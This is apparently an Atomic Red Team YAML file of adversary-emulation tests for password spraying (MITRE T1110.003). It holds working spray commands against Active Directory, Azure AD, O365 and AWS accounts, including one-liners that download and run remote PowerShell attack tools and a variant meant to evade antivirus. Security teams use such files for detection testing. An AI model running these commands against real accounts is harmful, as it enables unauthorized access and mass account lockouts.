321 lines
15 KiB
YAML
321 lines
15 KiB
YAML
attack_technique: T1110.003
|
|
display_name: 'Brute Force: Password Spraying'
|
|
atomic_tests:
|
|
- name: Password Spray all Domain Users
|
|
auto_generated_guid: 90bc2e54-6c84-47a5-9439-0a2a92b4b175
|
|
description:
|
|
CAUTION! Be very careful to not exceed the password lockout threshold for users in the domain by running this test too frequently.
|
|
|
|
This atomic attempts to map the IPC$ share on one of the Domain Controllers using a password of Spring2020 for each user in the %temp%\users.txt list.
|
|
Any successful authentications will be printed to the screen with a message like "[*] username:password", whereas a failed auth will simply print a period.
|
|
Use the input arguments to specify your own password to use for the password spray.
|
|
|
|
Use the get_prereq_command's to create a list of all domain users in the temp directory called users.txt.
|
|
|
|
See the "Windows FOR Loop Password Spraying Made Easy" blog by @OrOneEqualsOne for more details on how these spray commands work. https://medium.com/walmartlabs/windows-for-loop-password-spraying-made-easy-c8cd4ebb86b5
|
|
supported_platforms:
|
|
- windows
|
|
input_arguments:
|
|
password:
|
|
description: The password to try for each user in users.txt
|
|
type: string
|
|
default: Spring2020
|
|
dependencies:
|
|
- description: |
|
|
List of domain users to password spray must exits at %temp%\users.txt
|
|
prereq_command: |
|
|
if not exist %temp%\users.txt (exit /b 1)
|
|
get_prereq_command: |
|
|
"PathToAtomicsFolder\T1110.003\src\parse_net_users.bat"
|
|
executor:
|
|
name: command_prompt
|
|
elevation_required: false
|
|
command: |
|
|
@FOR /F %n in (%temp%\users.txt) do @echo | set/p=. & @net use %logonserver%\IPC$ /user:"%userdomain%\%n" "#{password}" 1>NUL 2>&1 && @echo [*] %n:#{password} && @net use /delete %logonserver%\IPC$ > NUL
|
|
- name: Password Spray (DomainPasswordSpray)
|
|
auto_generated_guid: 263ae743-515f-4786-ac7d-41ef3a0d4b2b
|
|
description: |
|
|
Perform a domain password spray using the DomainPasswordSpray tool. It will try a single password against all users in the domain
|
|
|
|
https://github.com/dafthack/DomainPasswordSpray
|
|
supported_platforms:
|
|
- windows
|
|
input_arguments:
|
|
domain:
|
|
description: Domain to brute force against
|
|
type: string
|
|
default: $Env:USERDOMAIN
|
|
executor:
|
|
name: powershell
|
|
elevation_required: false
|
|
command: |
|
|
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
|
|
IEX (IWR 'https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/94cb72506b9e2768196c8b6a4b7af63cebc47d88/DomainPasswordSpray.ps1' -UseBasicParsing); Invoke-DomainPasswordSpray -Password Spring2017 -Domain #{domain} -Force
|
|
- name: Password spray all Active Directory domain users with a single password via LDAP against domain controller (NTLM or Kerberos)
|
|
auto_generated_guid: f14d956a-5b6e-4a93-847f-0c415142f07d
|
|
description: |
|
|
Attempt to brute force all Active Directory domain users with a single password (called "password spraying") on a domain controller, via LDAP, with NTLM or Kerberos
|
|
|
|
Prerequisite: AD RSAT PowerShell module is needed and it must run under a domain user (to fetch the list of all domain users)
|
|
supported_platforms:
|
|
- windows
|
|
input_arguments:
|
|
password:
|
|
description: single password we will attempt to auth with (if you need several passwords, then it is a bruteforce so see T1110.001)
|
|
type: string
|
|
default: P@ssw0rd!
|
|
domain:
|
|
description: Domain FQDN
|
|
type: string
|
|
default: $env:UserDnsDomain
|
|
auth:
|
|
description: authentication method to choose between "NTLM" and "Kerberos"
|
|
type: string
|
|
default: NTLM
|
|
executor:
|
|
name: powershell
|
|
elevation_required: false
|
|
command: |
|
|
if ("#{auth}".ToLower() -NotIn @("ntlm","kerberos")) {
|
|
Write-Host "Only 'NTLM' and 'Kerberos' auth methods are supported"
|
|
exit 1
|
|
}
|
|
|
|
$DomainUsers = Get-ADUser -LDAPFilter '(&(sAMAccountType=805306368)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' -Server #{domain} | Select-Object -ExpandProperty SamAccountName
|
|
|
|
[System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") | Out-Null
|
|
$di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier("#{domain}",389)
|
|
|
|
$DomainUsers | Foreach-Object {
|
|
$user = $_
|
|
$password = '#{password}'
|
|
|
|
$credz = new-object System.Net.NetworkCredential($user, $password, "#{domain}")
|
|
$conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz, [System.DirectoryServices.Protocols.AuthType]::#{auth})
|
|
try {
|
|
Write-Host " [-] Attempting ${password} on account ${user}."
|
|
$conn.bind()
|
|
# if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success
|
|
Write-Host " [!] ${user}:${password} are valid credentials!"
|
|
} catch {
|
|
Write-Host $_.Exception.Message
|
|
}
|
|
}
|
|
Write-Host "End of password spraying"
|
|
- name: Password spray all Azure AD users with a single password
|
|
auto_generated_guid: a8aa2d3e-1c52-4016-bc73-0f8854cfa80a
|
|
description: |
|
|
Attempt to brute force all Azure AD users with a single password (called "password spraying") via AzureAD Powershell module.
|
|
Valid credentials are only needed to fetch the list of Azure AD users.
|
|
supported_platforms:
|
|
- azure-ad
|
|
input_arguments:
|
|
password:
|
|
description: Single password we will attempt to auth with (if you need several passwords, then it is a bruteforce so see T1110.001)
|
|
type: string
|
|
default: P@ssw0rd!
|
|
valid_username:
|
|
description: Valid username to retrieve Azure AD users. We encourage users running this atomic to add a valid microsoft account domain; for eg <valid_test_user>@<valid_ms_account.com>
|
|
type: string
|
|
default: bruce.wayne@contoso.com
|
|
valid_password:
|
|
description: Valid password to authenticate as valid_username in the <valid_ms_account>
|
|
type: string
|
|
default: iamthebatman
|
|
dependency_executor_name: powershell
|
|
dependencies:
|
|
- description: |
|
|
AzureAD module must be installed.
|
|
prereq_command: |
|
|
try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
|
|
get_prereq_command: |
|
|
Install-Module -Name AzureAD -Force
|
|
executor:
|
|
name: powershell
|
|
elevation_required: false
|
|
command: |
|
|
Import-Module -Name AzureAD
|
|
$PWord = ConvertTo-SecureString -String "#{valid_password}" -AsPlainText -Force
|
|
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{valid_username}", $Pword
|
|
Connect-AzureAD -Credential $Credential > $null
|
|
|
|
($Users = Get-AzureADUser -All $true) > $null
|
|
Disconnect-AzureAD > $null
|
|
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
|
|
|
|
$Users | Foreach-Object {
|
|
$user = $_.UserPrincipalName
|
|
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "$user", $Pword
|
|
try {
|
|
Write-Host " [-] Attempting #{password} on account ${user}."
|
|
Connect-AzureAD -Credential $Credential 2>&1> $null
|
|
# if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success
|
|
Write-Host " [!] ${user}:#{password} are valid credentials!`r`n"
|
|
Disconnect-AzureAD > $null
|
|
} catch {
|
|
Write-Host " [-] ${user}:#{password} invalid credentials.`r`n"
|
|
}
|
|
}
|
|
Write-Host "End of password spraying"
|
|
- name: WinPwn - DomainPasswordSpray Attacks
|
|
auto_generated_guid: 5ccf4bbd-7bf6-43fc-83ac-d9e38aff1d82
|
|
description: DomainPasswordSpray Attacks technique via function of WinPwn
|
|
supported_platforms:
|
|
- windows
|
|
executor:
|
|
command: |-
|
|
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
|
|
domainpassspray -consoleoutput -noninteractive -emptypasswords
|
|
name: powershell
|
|
- name: Password Spray Invoke-DomainPasswordSpray Light
|
|
auto_generated_guid: b15bc9a5-a4f3-4879-9304-ea0011ace63a
|
|
description: |
|
|
Perform a domain password spray using the same core method of the [DomainPasswordSpray tool](https://github.com/dafthack/DomainPasswordSpray)
|
|
but without all the extra code that makes the script get blocked by many AVs.
|
|
This atomic test will attempt a single password against all users in a password list at $env:Temp\usersdpsLight.txt. You can create this file manually
|
|
or with the automated prereq_command. The prereq_command will limit the user list to 200 users by default to help you avoid massive account lockout.
|
|
supported_platforms:
|
|
- windows
|
|
input_arguments:
|
|
user_limit:
|
|
description: The max number of users to put in the list when running the prereq_command
|
|
type: integer
|
|
default: 200
|
|
password:
|
|
description: The password to try for each user in users.txt
|
|
type: string
|
|
default: Spring2020
|
|
dependencies:
|
|
- description: |
|
|
Username file must exist at $env:Temp\usersdpsLight.txt
|
|
prereq_command: |
|
|
if (Test-Path $env:Temp\usersdpsLight.txt) {exit 0} else {exit 1}
|
|
get_prereq_command: |
|
|
Write-Host -NoNewLine "Reading Users." # this code modifed from https://github.com/ZoomerHulkHogan/Powershell-Domain-User-Enumeration
|
|
$netOutput = net users /domain
|
|
$netOutput = [System.Collections.ArrayList]($netOutput[6..($netOutput.length-3)])
|
|
$userLimit = #{user_limit}; $usercount = 0
|
|
foreach ($line in $netOutput) {
|
|
if($usercount -ge $userLimit){break}
|
|
$line = $line.trim()
|
|
$line = $line -split '\s\s+'
|
|
foreach ($user in $line){
|
|
if($usercount -ge $userLimit){break}
|
|
Add-Content $env:Temp\usersdpsLight.txt $user
|
|
$usercount = $usercount + 1
|
|
}
|
|
}
|
|
Write-Host "Usernames saved to $env:Temp\usersdpsLight.txt"
|
|
executor:
|
|
name: powershell
|
|
elevation_required: false
|
|
command: |
|
|
function Invoke-dpsLight ($Password, $userlist) {
|
|
$users = Get-Content $userlist
|
|
$Domain = "LDAP://" + ([ADSI]"").distinguishedName
|
|
foreach ($User in $users) {
|
|
$Domain_check = New-Object System.DirectoryServices.DirectoryEntry($Domain, $User, $Password)
|
|
if ($Domain_check.name -ne $null) {
|
|
Write-Host -ForegroundColor Green "Password found for User:$User Password:$Password"
|
|
}
|
|
else { Write-Host ". " -NoNewline}
|
|
}
|
|
Write-Host -ForegroundColor green "Finished"
|
|
}
|
|
Invoke-dpsLight "#{password}" $env:Temp\usersdpsLight.txt
|
|
- name: Password Spray Microsoft Online Accounts with MSOLSpray (Azure/O365)
|
|
auto_generated_guid: f3a10056-0160-4785-8744-d9bd7c12dc39
|
|
description: |
|
|
This test attempts to brute force a list of Microsoft Online (Azure/O365) users with a single password via the MSOLSpray Powershell module.
|
|
supported_platforms:
|
|
- azure-ad
|
|
input_arguments:
|
|
password:
|
|
description: Single password to try against the list of user accounts
|
|
type: string
|
|
default: P@ssword1
|
|
user_list:
|
|
description: File path to list of users (one per line, formatted as user@subdomain.onmicrosoft.com)
|
|
type: string
|
|
default: $env:temp\T1110.003UserList.txt
|
|
dependency_executor_name: powershell
|
|
dependencies:
|
|
- description: |
|
|
MSOLSpray module must exist in PathToAtomicsFolder\..\ExternalPayloads.
|
|
prereq_command: |
|
|
if (test-path "PathToAtomicsFolder\..\ExternalPayloads\MSOLSpray.ps1"){exit 0} else {exit 1}
|
|
get_prereq_command: |
|
|
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
|
|
invoke-webrequest "https://raw.githubusercontent.com/dafthack/MSOLSpray/922f159104fb3ec77c9fc6507a6388a05c227b5f/MSOLSpray.ps1" -outfile "PathToAtomicsFolder\..\ExternalPayloads\MSOLSpray.ps1"
|
|
executor:
|
|
name: powershell
|
|
elevation_required: false
|
|
command: |
|
|
import-module "PathToAtomicsFolder\..\ExternalPayloads\MSOLSpray.ps1"
|
|
Invoke-MSOLSpray -UserList "#{user_list}" -Password "#{password}"
|
|
- name: Password Spray using Kerbrute Tool
|
|
auto_generated_guid: c6f25ec3-6475-47a9-b75d-09ac593c5ecb
|
|
description: |
|
|
Test a single password against a list of users
|
|
supported_platforms:
|
|
- windows
|
|
input_arguments:
|
|
domaincontroller:
|
|
description: Domain controller where test will be run
|
|
type: string
|
|
default: $ENV:userdnsdomain
|
|
domain:
|
|
description: Domain where you will be testing
|
|
type: string
|
|
default: $ENV:userdomain
|
|
dependency_executor_name: powershell
|
|
dependencies:
|
|
- description: |
|
|
kerbrute.exe must exist in PathToAtomicsFolder\..\ExternalPayloads
|
|
prereq_command: |
|
|
if (test-path "PathToAtomicsFolder\..\ExternalPayloads\kerbrute.exe"){exit 0} else {exit 1}
|
|
get_prereq_command: |
|
|
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
|
|
invoke-webrequest "https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_386.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\kerbrute.exe"
|
|
- description: |
|
|
passwordspray.txt must exist in PathToAtomicsFolder\..\ExternalPayloads
|
|
prereq_command: |
|
|
if (test-path "PathToAtomicsFolder\..\ExternalPayloads\passwordspray.txt"){exit 0} else {exit 1}
|
|
get_prereq_command: |
|
|
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
|
|
invoke-webrequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1110.003/src/passwordspray.txt?raw=true" -outfile "PathToAtomicsFolder\..\ExternalPayloads\passwordspray.txt"
|
|
executor:
|
|
name: powershell
|
|
elevation_required: false
|
|
command: |
|
|
cd "PathToAtomicsFolder\..\ExternalPayloads"
|
|
.\kerbrute.exe passwordspray --dc #{domaincontroller} -d #{domain} "PathToAtomicsFolder\..\ExternalPayloads\passwordspray.txt" password132
|
|
- name: AWS - Password Spray an AWS using GoAWSConsoleSpray
|
|
auto_generated_guid: 9c10d16b-20b1-403a-8e67-50ef7117ed4e
|
|
description: |
|
|
GoAWSConsoleSpray is a tool that can be used to spray AWS IAM Console Credentials in order to identify a valid login for a user account built by WhiteOakSecurity. For more details reagrding the tool, check - https://www.whiteoaksecurity.com/blog/goawsconsolespray-password-spraying-tool/
|
|
supported_platforms:
|
|
- iaas:aws
|
|
input_arguments:
|
|
aws_account_id:
|
|
description: ID of the AWS account
|
|
type: string
|
|
default: "XXXXXXXX"
|
|
dependencies:
|
|
- description: |
|
|
Check if go is installed
|
|
prereq_command: |
|
|
go version
|
|
get_prereq_command: |
|
|
echo Install GO
|
|
executor:
|
|
command: |
|
|
cd /tmp
|
|
git clone git@github.com:WhiteOakSecurity/GoAWSConsoleSpray.git
|
|
cd /tmp/GoAWSConsoleSpray
|
|
go run main.go GoAWSConsoleSpray -a #{aws_account_id} -u PathToAtomicsFolder/T1110.003/src/aws_users.txt -p PathToAtomicsFolder/T1110.003/src/aws_passwords.txt
|
|
cleanup_command: |
|
|
rm -rf /tmp/GoAWSConsoleSpray
|
|
name: sh
|
|
elevation_required: false
|